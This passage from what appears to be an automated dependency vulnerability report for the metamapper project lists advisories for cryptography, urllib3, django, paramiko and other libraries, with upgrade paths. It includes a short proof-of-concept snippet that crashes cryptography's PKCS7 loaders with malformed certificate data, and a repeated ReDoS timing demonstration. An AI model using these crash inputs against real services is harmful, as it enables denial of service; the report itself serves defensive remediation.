  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). If an X.509 certificate contains a malformed policy constraint and policy processing is enabled, then a write lock will be taken twice recursively. On some operating systems (most widely: Windows), this results in a denial of service when the affected process hangs.

NOTE: Policy processing being enabled on a publicly-facing server is not considered to be a common setup.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a read buffer overflow in certificate name constraint checking in x509/v3_ncons.c. This occurs after certificate chain signature verification, and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a double free after calling the PEM_read_bio_ex() function. An attacker who supplies a malicious PEM file with a 0-length payload can trigger a crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an invalid pointer dereference in the d2i_PKCS7(), d2i_PKCS7_bio() and d2i_PKCS7_fp(). An attacker could trigger a crash by supplying malicious PKCS7 data.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null dereference when validating DSA public keys in the EVP_PKEY_public_check() function.

NOTE: The TLS implementation in OpenSSL does not call this function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@41.0.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when processing specially crafted ASN.1 objects identifiers. Applications that use OBJ_obj2txt() directly, or use any of the OpenSSL subsystems OCSP, PKCS7/SMIME, CMS, CMP/CRMF or TS with no message size limit may experience notable to very long delays when processing those messages, which may lead to a exploitation of this vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.0 or higher.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@41.0.6.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference when loading PKCS7 certificates. An attacker can cause a Denial of Service (DoS) by attempting to deserialize a PKCS7 blob/certificate.

Note:

This is only exploitable if the load_pem_pkcs7_certificates or load_der_pkcs7_certificates functions are called.

PoC

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Remediation

Upgrade cryptography to version 41.0.6 or higher.

References

medium severity

Resource Exhaustion

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@42.0.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the EVP_PKEY_public_check function. When the function is called in RSA public keys, a computation is done to confirm that the RSA modulus, n, is composite. For valid RSA keys, n is a product of two or more large primes and this computation completes quickly. However, if n is a large prime, this computation takes a long time. An attacker can cause a denial of service by supplying a specially crafted RSA key that triggers extensive computation.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 42.0.2 or higher.

References

medium severity

Use After Free

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Use After Free in the BIO_new_NDEF() function. A new filter BIO can be freed, with the function returning a NULL result indicating a failure. But the BIO passed by the caller still holds pointers to the previously freed filter BIO. This could allow an attacker to cause a crash.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.22.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the chars() and words() methods in the django.utils.text.Truncator function. An attacker can cause a denial of service by exploiting the inefficient regular expression complexity, which exhibits linear backtracking complexity and can be slow, given certain long and potentially malformed HTML inputs.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade django to version 3.2.22, 4.1.12, 4.2.6 or higher.

References

medium severity

Incorrect Behavior Order

  • Vulnerable module: dnspython
  • Introduced through: dnspython@2.2.1

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper dnspython@2.2.1
    Remediation: Upgrade to dnspython@2.6.1.

Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order in the DNS pre-processing pipeline, which allows an off-path attacker who can spoof the source IP address of a malformed DNS response packet to cause denial of service. The UDP processing functions in query.py and asyncquery.py accept the first-arriving packet before closing the receiving socket, allowing the attacker to make the remote nameserver appear unavailable for the target resolver and clients.

Remediation

Upgrade dnspython to version 2.6.1 or higher.

References

medium severity

Authentication Bypass by Capture-replay

  • Vulnerable module: paramiko
  • Introduced through: paramiko@2.10.3 and sshtunnel@0.4.0

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3
    Remediation: Upgrade to paramiko@3.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3

Overview

paramiko is a library for making SSH2 connections (client or server).

Affected versions of this package are vulnerable to Authentication Bypass by Capture-replay during the establishment of the secure channel. An attacker can manipulate handshake sequence numbers to delete messages sent immediately after the channel is established.

Note:

  1. Sequence numbers are only validated once the channel is established and arbitrary messages are allowed during the handshake, allowing them to manipulate the sequence numbers.

  2. The potential consequences of the general Terrapin attack are dependent on the messages exchanged after the handshake concludes. If you are using a custom SSH service and do not resort to the authentication protocol, you should check that dropping the first few messages of a connection does not yield security risks.

Impact:

While cryptographically novel, there is no discernable impact on the integrity of SSH traffic beyond giving the attacker the ability to delete the message that enables some features related to keystroke timing obfuscation. To successfully carry out the exploitation, the connection needs to be protected using either the ChaCha20-Poly1305 or CBC with Encrypt-then-MAC encryption methods. The attacker must also be able to intercept and modify the connection's traffic.

Workaround

Temporarily disable the affected chacha20-poly1305@openssh.com encryption and *-etm@openssh.com MAC algorithms in the affected configuration, and use unaffected algorithms like AES-GCM instead.

Remediation

Upgrade paramiko to version 3.4.0 or higher.

References

medium severity

Observable Timing Discrepancy

  • Vulnerable module: pycryptodomex
  • Introduced through: pycryptodomex@3.14.1 and snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pycryptodomex@3.14.1
    Remediation: Upgrade to pycryptodomex@3.19.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pycryptodomex@3.14.1
    Remediation: Upgrade to snowflake-connector-python@3.1.1.

Overview

pycryptodomex is a Cryptographic library for Python

Affected versions of this package are vulnerable to Observable Timing Discrepancy due to improper handling of OAEP decryption. An attacker can extract sensitive information by exploiting the side-channel leakage to perform a Manger attack (Marvin).

Remediation

Upgrade pycryptodomex to version 3.19.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: setuptools
  • Introduced through: gunicorn@20.1.0 and snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper gunicorn@20.1.0 setuptools@40.5.0
    Remediation: Upgrade to gunicorn@20.1.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 setuptools@40.5.0
    Remediation: Upgrade to snowflake-connector-python@3.0.1.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

